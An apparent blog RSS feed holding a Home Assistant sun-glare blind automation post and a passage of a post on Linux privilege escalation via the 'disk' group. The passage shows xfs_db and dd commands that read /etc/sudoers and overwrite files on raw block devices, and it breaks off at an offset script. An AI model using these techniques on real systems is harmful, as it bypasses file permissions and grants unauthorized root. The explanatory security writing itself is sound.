<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>LANRAT</title><link>https://lanrat.com/</link><description>Recent content on LANRAT</description><generator>Hugo -- 0.159.2</generator><language>en-us</language><copyright>Ian Foster</copyright><lastBuildDate>Sun, 01 Mar 2026 19:20:50 -0800</lastBuildDate><atom:link href="https://lanrat.com/rss.xml" rel="self" type="application/rss+xml"/><item><title>The Sun vs. My Monitor: Winning the Glare War with Home Assistant</title><link>https://lanrat.com/posts/home-assistant-sun-glare-automation/</link><pubDate>Sun, 01 Mar 2026 19:20:50 -0800</pubDate><guid>https://lanrat.com/posts/home-assistant-sun-glare-automation/</guid><description>Automatically control window blinds based on sun position and cloud cover using Home Assistant, SwitchBot Blind Tilt, and a little trigonometry.</description><content:encoded><![CDATA[<p>When working in my office during the day, I enjoy having my windows open to get as much natural light in as possible. However, this sometimes comes at a cost: glare. During certain times of the day, if there is little cloud cover, I get too much glare on my computer screen and it creates eye-strain, or makes reading difficult or distracting. So I took it upon myself to automate this problem away! This post outlines the process I took and how it works.</p>
<h2 id="convert-a-physical-problem-into-a-digital-problem">Convert a Physical Problem into a Digital Problem</h2>
<p>I want to open and close my blinds automatically. This requires something that can physically control my blinds and expose an API or service which Home Assistant can call to make the physical state match the desired state. For this I chose to use a few of the <a href="https://us.switch-bot.com/products/switchbot-blind-tilt">SwitchBot Blind Tilt</a> controllers. <a href="https://us.switch-bot.com/pages/home-assistant">SwitchBot</a> has a <a href="https://www.home-assistant.io/integrations/switchbot/">gold quality integration</a> that makes use of <a href="https://esphome.io/components/bluetooth_proxy/">ESPHome Bluetooth Proxies</a>.</p>
<p>Once setup, the SwitchBot app is no longer needed, you can have complete control with Home Assistant. If you have multiple windows facing the same direction, you can create a group to control them all with a single entity. If you have windows facing different directions, you will need a separate glare sensor and automation for each direction since the frustum angles will differ.</p>
<figure>
    <img loading="lazy" src="images/homeassistant-blinds.webp"
         alt="Home Assistant Blinds Control" width="50%"/> 
</figure>

<h2 id="automating-the-glare-state">Automating the &ldquo;Glare&rdquo; State</h2>
<p>The desired logic is the window blinds should be open if all of the following are true, else closed:</p>
<ul>
<li>the sun is above the horizon (there is daylight outside)</li>
<li>it is not cloudy</li>
<li>the sun is not directly visible from my seated position (either to my eyes or reflected on my screen)</li>
</ul>
<p>The first two can be determined by using the sun and weather entities in Home Assistant, but that last one requires some math.</p>
<h3 id="calculating-glare-frustum">Calculating Glare Frustum</h3>
<p>In order to mathematically determine if there is glare, we need to determine the <a href="https://en.wikipedia.org/wiki/Frustum">frustum</a> between my eyes, and the window, relative to each other. This provides a projected bounding box to compare to the position of the sun using its <a href="https://en.wikipedia.org/wiki/Solar_azimuth_angle">azimuth</a> and <a href="https://en.wikipedia.org/wiki/Solar_zenith_angle">elevation</a>.</p>
<p>To calculate this, we need:</p>
<ul>
<li>window heading (which compass direction it faces — use a compass app on your phone pointed perpendicular out through the window)</li>
<li>distance between eyes and window</li>
<li>distance between center of eyes and:
<ul>
<li>window&rsquo;s horizontal left edge</li>
<li>window&rsquo;s horizontal right edge</li>
<li>vertical top of window</li>
<li>vertical bottom of window</li>
</ul>
</li>
</ul>
<p><img alt="Window Frustum Measurements" loading="lazy" src="/posts/home-assistant-sun-glare-automation/images/Glare_Frustum.webp"></p>
<p>Once these measurements are taken, we can calculate the solar Azimuth and Elevation bounds for which there is glare.</p>
<p>Take these measurements and enter their values in the following python script to calculate the boundaries. The variable names match the labels in the diagram above.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> math
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># --- INPUTS: REPLACE THESE WITH YOUR MEASUREMENTS ---</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Units don&#39;t matter (cm/inches) as long as they are consistent.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1. Compass direction your window faces (0=N, 90=E, 180=S)</span>
</span></span><span style="display:flex;"><span>HEADING <span style="color:#f92672">=</span> <span style="color:#ae81ff">90</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2. Distance from eye to window glass</span>
</span></span><span style="display:flex;"><span>D <span style="color:#f92672">=</span> <span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3. Horizontal Offsets (Positive numbers)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># How far LEFT of your nose is the left window edge?</span>
</span></span><span style="display:flex;"><span>W_LEFT <span style="color:#f92672">=</span> <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># How far RIGHT of your nose is the right window edge?</span>
</span></span><span style="display:flex;"><span>W_RIGHT <span style="color:#f92672">=</span> <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4. Vertical Offsets (Positive numbers)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># How far UP from eye level is the top of the glass?</span>
</span></span><span style="display:flex;"><span>H_TOP <span style="color:#f92672">=</span> <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># How far DOWN from eye level is the bottom of the glass?</span>
</span></span><span style="display:flex;"><span>H_BOTTOM <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 5. Artificial Horizon (Optional)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If structures outside the window (neighbor&#39;s roof, fence, etc.) block</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># the sun below a certain angle, set E_MIN to that angle in degrees.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Set to 0 if there are no obstructions.</span>
</span></span><span style="display:flex;"><span>E_MIN <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># --- ALGORITHM ---</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">calculate_angles</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># 1. Calculate Field of View angles relative to the &#34;Center Line&#34; of sight</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># arctan(opposite / adjacent) * (180 / pi)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Horizontal angles (relative to straight ahead)</span>
</span></span><span style="display:flex;"><span>    angle_left <span style="color:#f92672">=</span> math<span style="color:#f92672">.</span>degrees(math<span style="color:#f92672">.</span>atan(W_LEFT <span style="color:#f92672">/</span> D))
</span></span><span style="display:flex;"><span>    angle_right <span style="color:#f92672">=</span> math<span style="color:#f92672">.</span>degrees(math<span style="color:#f92672">.</span>atan(W_RIGHT <span style="color:#f92672">/</span> D))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Vertical angles (relative to horizon/eye-level)</span>
</span></span><span style="display:flex;"><span>    angle_up <span style="color:#f92672">=</span> math<span style="color:#f92672">.</span>degrees(math<span style="color:#f92672">.</span>atan(H_TOP <span style="color:#f92672">/</span> D))
</span></span><span style="display:flex;"><span>    angle_down <span style="color:#f92672">=</span> math<span style="color:#f92672">.</span>degrees(math<span style="color:#f92672">.</span>atan(H_BOTTOM <span style="color:#f92672">/</span> D))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># 2. Convert to World Coordinates (Azimuth &amp; Elevation)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Azimuth: North is 0.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># If looking out window (HEADING), Left is (-), Right is (+)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    az_min <span style="color:#f92672">=</span> HEADING <span style="color:#f92672">-</span> angle_left
</span></span><span style="display:flex;"><span>    az_max <span style="color:#f92672">=</span> HEADING <span style="color:#f92672">+</span> angle_right
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Sun elevation is relative to the horizon (0°).</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># The sun is never below the horizon, so min elevation defaults to 0.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Use E_MIN to account for structures blocking the sun at low angles.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Max elevation is the angle from eye level to the top of the window.</span>
</span></span><span style="display:flex;"><span>    el_min <span style="color:#f92672">=</span> max(E_MIN, <span style="color:#ae81ff">0.0</span>)
</span></span><span style="display:flex;"><span>    el_max <span style="color:#f92672">=</span> angle_up
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;HOME ASSISTANT CONFIGURATION VALUES&#34;</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Azimuth Min: </span><span style="color:#e6db74">{</span>az_min<span style="color:#e6db74">:</span><span style="color:#e6db74">.1f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Azimuth Max: </span><span style="color:#e6db74">{</span>az_max<span style="color:#e6db74">:</span><span style="color:#e6db74">.1f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Elevation Min: </span><span style="color:#e6db74">{</span>el_min<span style="color:#e6db74">:</span><span style="color:#e6db74">.1f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Elevation Max: </span><span style="color:#e6db74">{</span>el_max<span style="color:#e6db74">:</span><span style="color:#e6db74">.1f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    calculate_angles()
</span></span></code></pre></div><h3 id="glare-template-sensor">Glare Template Sensor</h3>
<p>Now that the Azimuth and Elevation boundaries are calculated, we can create a <a href="https://www.home-assistant.io/integrations/template/#binary-sensor">binary template sensor</a> in Home Assistant to reflect the current glare state.</p>
<p>In order to make the automation even simpler, the template will also take into consideration the current weather cloud coverage.</p>
<p>Replace the values below with the bounds returned by the python script. You may also need to update the weather provider if a different one is in use.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">template</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">binary_sensor</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Office Glare&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">unique_id</span>: <span style="color:#ae81ff">office_glare</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:sun-angle</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">state</span>: &gt;<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# --- SENSOR INPUTS --- #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set az = states(&#39;sensor.sun_solar_azimuth&#39;) | float(0) %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set el = states(&#39;sensor.sun_solar_elevation&#39;) | float(0) %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set clouds = state_attr(&#39;weather.pirate_weather&#39;, &#39;cloud_coverage&#39;) | float(0) %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# --- WINDOW CONFIGURATION --- #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# The compass direction range where the window is visible #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set az_min = 92.0 %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set az_max = 138.4 %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# The vertical range (Horizon -&gt; Window Top) #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# Min is 15.0 due to neighbor&#39;s roof blocking sun below that angle #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set el_min = 15.0 %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set el_max = 33.0 %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# --- WEATHER CONFIGURATION --- #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# Glare only happens if clouds are low. (0-100 scale) #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set cloud_threshold = 30 %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {# --- LOGIC --- #}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set is_aligned_horizontally = az_min &lt;= az &lt;= az_max %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set is_aligned_vertically = el_min &lt;= el &lt;= el_max %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {% set is_clear_sky = clouds &lt; cloud_threshold %}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          {{ is_aligned_horizontally and is_aligned_vertically and is_clear_sky }}</span>
</span></span></code></pre></div><p>Once created, the sensor <code>binary_sensor.office_glare</code> returns an <code>on</code> state when the sun is in a position that would cause glare, and off otherwise.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>If your window faces near North, the azimuth range may wrap around 0°/360° (e.g., 350° to 10°). In that case, change <code>is_aligned_horizontally</code> to use <code>or</code> instead of <code>and</code>: <code>az &gt;= az_min or az &lt;= az_max</code>.</p>
      </div>
    </div><h3 id="solar-glare-automation">Solar Glare Automation</h3>
<p>Now that the glare sensor is created, an automation is needed to control the blinds given the glare and sun state. The blinds should only be open when the sun is up AND there is no glare; otherwise they close. The glare trigger uses a 2-minute buffer to prevent the blinds from rapidly toggling on partly cloudy days.</p>
<p>The SwitchBot Blind Tilt uses <code>tilt_position</code> values from 0 to 100, where 0 is fully closed and 50 is fully open (horizontal). Values above 50 tilt the blinds the other direction.</p>
<p>The following automation does that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">alias</span>: <span style="color:#ae81ff">Office Blinds</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">mode</span>: <span style="color:#ae81ff">single</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">triggers</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">trigger</span>: <span style="color:#ae81ff">sun</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">event</span>: <span style="color:#ae81ff">sunset</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">trigger</span>: <span style="color:#ae81ff">sun</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">event</span>: <span style="color:#ae81ff">sunrise</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">trigger</span>: <span style="color:#ae81ff">state</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_id</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">binary_sensor.office_glare</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">for</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">minutes</span>: <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">actions</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">if</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">condition</span>: <span style="color:#ae81ff">sun</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">before</span>: <span style="color:#ae81ff">sunset</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">after</span>: <span style="color:#ae81ff">sunrise</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">condition</span>: <span style="color:#ae81ff">state</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">entity_id</span>: <span style="color:#ae81ff">binary_sensor.office_glare</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">state</span>: <span style="color:#e6db74">&#34;off&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">action</span>: <span style="color:#ae81ff">cover.set_cover_tilt_position</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">data</span>:
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">tilt_position</span>: <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">target</span>:
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">entity_id</span>: <span style="color:#ae81ff">cover.office_blinds</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">else</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">action</span>: <span style="color:#ae81ff">cover.set_cover_tilt_position</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">data</span>:
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">tilt_position</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">target</span>:
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">entity_id</span>: <span style="color:#ae81ff">cover.office_blinds</span>
</span></span></code></pre></div><p>After running this for a few days, you may need to adjust the boundaries a little. Here are some tips:</p>
<ul>
<li><strong>Glare starts before blinds close?</strong> Decrease <code>az_min</code> or <code>el_min</code> to widen the start of the glare range.</li>
<li><strong>Blinds close but there&rsquo;s no glare yet?</strong> Increase <code>az_min</code> or <code>el_min</code> to narrow the start of the glare range.</li>
<li><strong>Blinds open but there&rsquo;s still glare?</strong> Increase <code>az_max</code> or <code>el_max</code> to widen the end of the glare range.</li>
<li><strong>Blinds close on overcast days?</strong> Increase <code>cloud_threshold</code>.</li>
<li><strong>Blinds close when sun is behind a roof/structure?</strong> Increase <code>el_min</code>.</li>
</ul>
<p>Once you get the values correct, it is very stable. Since the values for the sun&rsquo;s Azimuth and Elevation are used, the calculations should work year round, even as the angle of the sun changes season to season.</p>
]]></content:encoded></item><item><title>Linux Arbitrary File Write and Privilege Escalation with dd</title><link>https://lanrat.com/posts/linux-privilege-escalation-disk-group-dd/</link><pubDate>Wed, 28 Jan 2026 15:49:24 -0800</pubDate><guid>https://lanrat.com/posts/linux-privilege-escalation-disk-group-dd/</guid><description>Exploiting Linux disk group membership for privilege escalation by directly manipulating filesystem blocks with dd to bypass file permissions.</description><content:encoded><![CDATA[<p><a href="https://xkcd.com/378/"><img alt="XKCD Real Programmers" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/xkcd-real-programmers.webp#center"></a></p>
<p>The <code>disk</code> group seems innocent enough - it&rsquo;s meant for disk management utilities. But give someone <code>disk</code> group access and you&rsquo;ve essentially handed them root. Here&rsquo;s how to exploit raw block device access to bypass all file permissions and escalate privileges.</p>
<p>While the XKCD comic above is tongue-in-cheek, using <code>dd</code> for filesystem manipulation is genuinely powerful and dangerous. The Linux <code>disk</code> group allows raw access to disks on the system. It&rsquo;s meant to allow members to use tools to manage disk partitions and format disks at the block level. However, it can also be used to get arbitrary file read/write by directly editing the disk contents even if file system permissions forbid it. For this reason it is a very privileged group and should be considered equivalent to root access.</p>
<p>The disk group is usually gid 6 and allows full read/write access to block devices.</p>
<p>Showing raw disk devices on a Linux system belonging to the disk group</p>
<p><img alt="show disks" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/show-disks.webp"></p>
<p>If you can get into the disk group (without needing root access), you can use tools like <a href="https://linux.die.net/man/8/debugfs">debugfs</a> for ext4 filesystems and <a href="https://linux.die.net/man/8/xfs_db">xfs_db</a> for xfs filesystems to interact with the disks. <code>debugfs</code> is quite user friendly with options to directly copy files into and out of the raw disk. <code>xfs_db</code>, on the other hand, is much lower level and will require using other tools such as <code>dd</code> to read/write to files on the disk.</p>
<p>For this guide, we will be working with xfs_db on an xfs filesystem.</p>
<h2 id="file-read">File Read</h2>
<p>Example with xfs filesystem over LVM. Here <code>rhel_eda--c-root</code> is a LVM volume mapped to <code>/dev/dm-0</code></p>
<p><img alt="xfs on lvm" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/xfs-on-lvm.webp"></p>
<p>These tools can let you view any data on the raw disk device, regardless of the filesystem permissions. <strong>Even if the volume is mounted.</strong></p>
<p>If the filesystem is mounted these tools may prevent writing, but we can use <code>dd</code> to work around that limitation.</p>
<p>In order to read the file, we need to get the offsets of the file&rsquo;s blocks from the filesystem. In order to get this, we can start with the <a href="https://en.wikipedia.org/wiki/Inode">inode</a> of the file on the filesystem to query its block addresses. <code>ls -li</code> can list the inode of any file, even if we don&rsquo;t have read access to it.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>If the file is in a directory we don&rsquo;t have access to, we can use <code>xfs_db</code> or <code>debugfs</code> on a parent directory that we do have access to to list the files or sub-directories, their inodes and go into each one until the inode of the target file is found.</p>
      </div>
    </div><p>Getting the inode of <code>/etc/sudoers</code> even though we do not have read access to the file:</p>
<p><img alt="sudoers inodes" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/sudoers-inodes.webp"></p>
<p>Getting the startblock and number of blocks that make up this file:</p>
<p><img alt="sudoers startblock" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/sudoers-startblock.webp"></p>
<p>Using <code>xfs_db</code> to print part of the first block manually, even though we do not have filesystem read access</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># this prints the block map for the file at the given inode</span>
</span></span><span style="display:flex;"><span>$ xfs_db -r /dev/dm-0 -c <span style="color:#e6db74">&#39;inode &lt;INODE_NUM&gt;&#39;</span>  -c <span style="color:#e6db74">&#39;bmap&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># print the file&#39;s first block as hex</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># use sed and xxd to print as ascii</span>
</span></span><span style="display:flex;"><span>$ xfs_db -r /dev/dm-0 -c <span style="color:#e6db74">&#39;inode &lt;INODE_NUM&gt;&#39;</span>  -c <span style="color:#e6db74">&#39;dblock 0&#39;</span> -c <span style="color:#e6db74">&#39;type data&#39;</span> -c print | sed <span style="color:#e6db74">&#39;s/.*://; s/[[:space:]]//g&#39;</span> | xxd -r -p
</span></span></code></pre></div><p><img alt="xfs_db" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/xfs_db.webp"></p>
<p>Here we see that the file is 2 blocks. We read the first block by specifying <code>dblock 0</code></p>
<p>The file is printed as <code>data</code> so that it is displayed in hex. Then <code>sed 's/.*://; s/[[:space:]]//g'</code> removes white space and line numbers so that <code>xxd -r -p</code> can convert the hex data back into text.</p>
<p>To get the 2nd block (or others) use <code>dblock 1</code> replacing <code>1</code> with the 0-offset block number.</p>
<h2 id="file-write">File Write</h2>
<p>Reading protected files is interesting, but the real fun begins when we start writing.</p>
<p>In order to write to the file system while the drive is mounted, we can use <code>dd</code> and seek to the exact offset of the file contents we want to overwrite.</p>

    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>This method only changes the file contents, it does not alter any of the filesystem’s inode data, so only overwrite existing data, bytes for bytes. <strong>Do not attempt to append or shrink a file.</strong> While possible, that would involve updating the metadata in the file system and is more difficult and outside the scope of this article.</p>
      </div>
    </div><p>In order to write directly to the disk, we need to know the offset to write at. This can be manually calculated from the <code>startblock</code> and <code>agblocks</code> from <code>xfs_db</code>. Below is a shell script to automate that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>INODE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span>$1<span style="color:#e6db74">&#34;</span> <span style="color:#75715e"># pass inode as argument</span>
</span></span><span style="display:flex;"><span>DEVICE<span style="color:#f92672">=</span>/dev/dm-0
</span></span><span style="display:flex;"><span>OFFSET_IN_FILE<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>  <span style="color:#75715e"># Change this to edit at a different position in the file</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Get block info</span>
